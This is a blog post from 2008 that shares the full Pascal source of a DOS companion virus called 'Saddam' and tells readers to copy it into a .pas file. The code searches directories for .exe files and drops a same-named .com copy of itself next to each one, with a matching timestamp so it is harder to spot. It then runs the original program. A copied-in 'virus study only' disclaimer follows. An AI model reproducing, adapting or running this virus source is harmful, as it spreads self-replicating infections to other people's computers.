Monday, June 30, 2008

virus code in pascal

Virus code in pascal.
Here is a new viri code for u guys
It's created in pascal
Copy and paste it in notepad as anyname.pas

Program Saddam;

{$M 10000,0,0}

Uses
DOS;

Var
DriveID : String [2];
Buffer : Array [1..8000] Of Byte;
Target,Source : File;
Infected : Byte;
Done : Word;
TargetFile : String;

(*??????????????????????????????????????
???????????????????????????????????*)

Function ExistCom : Boolean;
Var
FindCom : SearchRec;
Begin
FindFirst ( TargetFile, 39, FindCom );
ExistCom := DosError = 0;
End;



Procedure SearchDir ( Dir2Search : String );
Var
S : SearchRec;

Begin

If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then
Dir2Search := Dir2Search + '\';



FindFirst ( Dir2Search + '*.exe', 39, S );

While DosError = 0 Do
Begin

TargetFile := Copy ( Dir2Search + S.Name,1,
Length ( Dir2Search + S.Name ) -3 ) + 'com';

If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And
Not ExistCom And ( Infected <> 25000 ) Then
Begin
{$i-}
Inc ( Infected );
Assign ( Target, TargetFile );
Rewrite ( Target,1 );
BlockWrite ( Target, Buffer, Done + Random ( 4400 ));
SetFTime ( Target, S.Time );
Close ( Target );
If IoResult = 101 Then
Begin
Infected := 3;
Erase ( Target );
End;

{$i+}
End;

FindNext ( S );
End;

FindFirst ( Dir2Search + '*', Directory, S );

If S.Name = '.' Then
Begin
FindNext ( S );
FindNext ( S );
End;

If ( DosError = 0 ) And
( S.Attr And 16 <> 16 ) Then
FindNext ( S );

While DosError = 0 Do
Begin
If ( S.Attr And 16 = 16 ) And ( Infected < 3 ) Then
SearchDir ( Dir2Search + S.Name );
FindNext ( S );
End;
End;


Begin

DriveID := FExpand ( ParamStr ( 1 ));
Infected := 0;


Assign ( Source, ParamStr ( 0 ) );
Reset ( Source, 1 );
BlockRead ( Source, Buffer, 5000, Done );
Close ( Source );

Randomize;

SearchDir ( DriveID );

Exec ( Copy ( ParamStr ( 0 ),1,
Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) );


End.











*** NOT FOR GENERAL DISTRIBUTION *** ;

This File is for the Purpose of Virus Study Only! It Should not be Passed
Around Among the General Public. It Will be Very Useful for Learning how
Viruses Work and Propagate. But Anybody With Access to an Assembler can
Turn it Into a Working Virus and Anybody With a bit of Assembly Coding
Experience can Turn it Into a far More Malevolent Program Than it Already
Is. Keep This Code in Responsible Hands!

No comments: